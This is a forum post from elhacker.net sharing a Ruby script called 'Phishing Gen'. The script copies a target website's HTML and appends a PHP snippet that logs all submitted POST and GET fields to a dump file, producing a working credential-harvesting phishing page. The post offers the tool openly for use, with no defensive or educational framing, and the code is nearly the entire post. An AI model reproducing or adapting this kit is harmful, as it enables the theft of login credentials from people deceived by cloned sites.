Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 7 Octubre 2011, 01:31 am



Título: [Ruby] Phishing Gen
Publicado por: BigBear en 7 Octubre 2011, 01:31 am
Un generador de fakes

Código
  1. #!usr/bin/ruby
  2. #PHishing Gen (C) Doddy Hackman 2010
  3. #contact me : doddy-hackman.blogspot.com
  4.  
  5. require 'net/http'
  6.  
  7. def uso
  8.  print "\n[+] fake.rb <site> <result>\n"
  9. end
  10.  
  11. def toma(web)
  12.   return Net::HTTP.get(web)
  13.   end
  14.  
  15. def savefile(filename,text)
  16. files = File.open(filename,'a')
  17. files.puts text
  18. end
  19.  
  20. def gen(web,file,magic)
  21.  print "\n\n[+] Getting the source...\n"
  22.  begin
  23.  code = toma(URI.parse(web))
  24.  savefile(file,code+"\n"+magic)
  25.  print "[+] Finish"
  26.  copyright()
  27.  end
  28. end
  29.  
  30. def head()
  31.  print "\n\n -- == Phising Gen == --\n\n"
  32. end
  33.  
  34. def copyright()
  35.   print "\n\n\n(C) Doddy Hackman 2010\n\n"
  36.   exit(1)
  37. end
  38.  
  39. head()
  40. if !ARGV[0] and !ARGV[1]
  41.  uso()
  42. else
  43.  text ='<?php $file = fopen("dump.txt", "a");foreach($_POST as $uno => $dos) {fwrite($file, $uno."=".$dos."\r\n");}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres."=".$cuatro."\r\n");}fclose($file);?>'
  44.  gen(ARGV[0],ARGV[1],text)  
  45. end
  46. copyright()
  47.